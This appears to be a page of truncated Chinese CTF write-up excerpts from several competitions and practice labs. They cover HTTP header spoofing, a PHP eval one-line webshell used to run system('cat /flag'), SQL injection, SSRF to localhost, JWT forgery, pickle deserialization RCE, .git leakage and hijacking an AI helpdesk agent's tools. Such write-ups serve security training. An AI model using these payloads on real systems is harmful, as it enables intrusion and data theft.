结论先行：首页源码藏 Secret.php，服务器依次校验 Referer、User-Agent、X-Forwarded-For 三个请求头。前两重已通过，第三重「本地 IP」校验因 CTF2 环境迁移缺陷（openresty 未配置 real_ip 模块）无法绕过，本题未解出 flag。
题目信息
项
内容
比赛
极客大挑战 2019
方向
Web
难度
简单
状态
【未解决】
环境
授权靶场（已脱敏）
知识点：HTTP 请求头伪造（Referer / User-Agent / X-Forwarded-For）。
信息收集访问首页，查看源码，在正文末尾找到隐藏链接 Secret.php：
1<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>
漏洞分析服务器把「请求来源、浏览器类型、客户端 IP」三个本应由服务端可信判断的条件， ...
结论先行：首页源码直接泄露一句话木马 eval($_POST["Syc"]);，向 Syc 参数 POST 注入 PHP 代码即可执行命令，system('cat /flag') 直接读出 flag。
题目信息
项
内容
比赛
极客大挑战 2019
方向
Web
难度
简单
环境
授权靶场（已脱敏）
知识点：一句话木马、eval 后门、命令执行。
信息收集访问首页，查看源码，发现泄露的一句话木马后门：
1<?php @eval($_POST["Syc"]); ?>
eval 会把 Syc 参数的内容当作 PHP 代码执行，没有任何过滤。
漏洞分析后端将用户 POST 参数 Syc 的值直接交给 eval 执行。eval 是 PHP 中执行任意代码的危险函数，一旦能控制其入参即等价于代码执行（RCE）。此题把后门直接写在首页源码里泄露出来，属于典型的一句话木马后门。
利用过程1. 注入 system('cat /flag')1curl -X POST "http: ...
题目信息
项
内容
平台
BUUCTF CTF2 实践靶场
环境
授权靶场（已脱敏）
分类
WEB / 业务逻辑越权（Broken Access Control、IDOR、隐藏功能枚举、错误信息泄露）
难度
中等
前端
单页 HTML + fetch JSON API；Server: openresty
后端
推断为 Python http.server（OPTIONS 返回 501 Unsupported method ('OPTIONS')，BaseHTTPRequestHandler 特征）—— Inferred，无源码佐证
身份
POST /api/login {"u":"u1"} → 记者·林 (u1)，服务端固定；「主编·袁」账号不可代签
题目标识 / 难度 / 分值
Unknown（本题由直接给出的靶机地址提供，未从平台题目详情确认；相关标识已脱敏）
靶机 URL、练习场 ID 等真实基础设施信息已按要求脱敏，环境统一记为「 ...
题目信息
项
内容
比赛
网鼎杯 2018
方向
Web
难度
Easy
环境
授权靶场（已脱敏）
考点：insert 注入 + 数字注入 + 盲注。
信息收集打开题目只有一个登录界面（字段 email + password），检查源码无有用信息，万能密码登录无效。
目录扫描发现注册界面 register.php（字段 email + username + password）。
漏洞分析insert 注入注册时用户名 username 入库时过滤不严，只调用了 waf 函数对黑名单字符串进行判断（过滤 information、逗号 , 等），但没有用 addslashes 转义单引号。因此可以构造 insert 注入。
后端 SQL 大致为：
1insert into users (email, username, password) values ('$email', '$username', '$password')
注意：这题本质上不是二次注入，而是 insert 注入（写入阶段即可注入，pa ...
题目信息
项
内容
比赛
CTF2 实践靶场（NU1L《从 0 到 1：CTFer 成长之路》配套题）
方向
Web（第 03 章 Web 进阶）
难度
Easy
环境
授权靶场（已脱敏）
漏洞类型：SSRF（Server-Side Request Forgery）。
信息收集访问首页 / 返回：
1url parameter is required
说明存在一个需要 url 参数的端点。访问题目描述提示的内部接口 /api/internal/secret：
1your ip <内网地址> is not allowed
内网地址已脱敏：该接口只允许特定 IP（本机）访问，错误信息泄露了容器内网 IP。
说明该内部接口只允许特定 IP（本机）访问。
漏洞分析SSRF 点确认url 参数是一个 SSRF 点，服务端会请求用户提供的 URL。直接尝试：
1/?url=http://127.0.0.1:8000/api/internal/secret
返回：
1127.0.0.1 is forbidden
说明服务端对 SSRF 目标做了过滤， ...
题目信息
项
内容
比赛
CTF2 实践靶场
方向
Web / AI Agent 安全（LLM 应用安全）
难度
中等
环境
授权靶场（已脱敏）
题目名：影子工具：帮助台智能体的授权劫持（ORACLE-7 agent gateway）。目标：让 agent 从 vault 中取出 secret。
信息收集这是一道 确定性策略驱动的 Agent 运行时 题，模拟一个 helpdesk agent gateway。服务端没有调用任何外部大模型，而是用一套规则引擎处理工具调用。
API 面
端点
方法
作用
/
GET
服务索引
/api/health
GET
存活探测
/api/tools
GET
工具注册表、指令语法、策略门禁
/api/docs
GET
知识库文档的脱敏评审视图
/api/docs
POST
提交文档 {title, body}
/api/agent
GET
bootstrap 会话（无 session_id）或 inspect（带 session_id）
/api/agent
POST
与 agen ...
题目信息
项
内容
比赛
RCTF 2019
方向
Web
难度
困难
环境
授权靶场（已脱敏）
考点：PHP 反序列化、disable_functions 绕过、open_basedir 绕过、FFI。
信息收集访问首页得到 index.php 源码：
1234567<?phpif (isset($_GET['a'])) { eval($_GET['a']);} else { show_source(__FILE__);}?>
环境信息：
1234567PHP 7.4.0-devdisable_functions: system, exec, shell_exec, popen, proc_open, passthru, putenv, error_log, mail, pcntl_exec, dl, ini_set, set_time_limit ...open_basedir = ...
题目信息
项
内容
比赛
CISCN 2019 华北赛区 Day1 Web2
方向
Web
难度
中等
环境
授权靶场（已脱敏）
考点：逻辑漏洞（薅羊毛）、JWT 伪造、Python pickle 反序列化 RCE。
题目背景：首页是一个 ikun 商城（KunKun 应援团），提示「ikun 们冲，一定要买到 lv6!!!」。目标是买到 LV6 商品，进而进入 admin 后台，最终 RCE 读 flag。
信息收集定位 LV6 商品商城分页展示商品，LV6 商品在第 180 页。写爬虫遍历 /shop?page=N，匹配 lv/lv6.png 图标：
123456import requestsfor page in range(1, 500): r = requests.get(f"http://target:8080/shop?page={page}") if "lv/lv6.png" in r.text: print(page) break
结果：第 ...
题目信息
项
内容
比赛
CTF2 实践靶场
方向
Misc
难度
中等
环境
授权靶场（已脱敏）
题目描述：一块 ESP32 网关设备在 OTA 升级后无法正常启动。给出两份调试数据：
boot_env.json — U-Boot 风格环境变量导出
flash_map.csv — Flash 分区表
要求分析启动流程与分区状态，确定本次重启执行的应用分区，还原被单字节密钥混淆的固件配置载荷，得到 flag。
信息收集boot_env.json 中 bootcmd 变量定义了启动逻辑：
1if test ${ota_ready} = 1; then bootm ${loadaddr}#${next_slot}; else run rescue_boot; fi
各变量取值：
变量
值
ota_ready
1
loadaddr
0x42000000
next_slot
ota_1
active_part
ota_0（只读标志 s:r:o，非本次生效项）
在 flash_ ...
题目信息
项
内容
比赛
网鼎杯 2018
方向
Web
难度
Easy
环境
授权靶场（已脱敏）
考点：.git 泄露 + 弱口令爆破 + 二次注入 + load_file 读文件。
信息收集打开题目是一个留言板页面，有「发贴」和「留言」功能。点「发贴」会跳转到登录页，登录框 placeholder 提示用户名 zhangwei，密码 zhangwei***（后三位未知）。
目录扫描发现 .git 泄露：
123GET /.git/HEAD HTTP/1.1 -> 200 ref: refs/heads/masterGET /.git/config HTTP/1.1 -> 200GET /.git/logs/HEAD HTTP/1.1 -> 200
弱口令爆破根据登录框提示 zhangwei***，爆破后三位纯数字，得到密码：
12用户名：zhangwei密码：zhangwei666
.git 泄露还原源码下载 .git 目录后还原源码。当前 HEAD commit 的 tree 里只有 wri ...
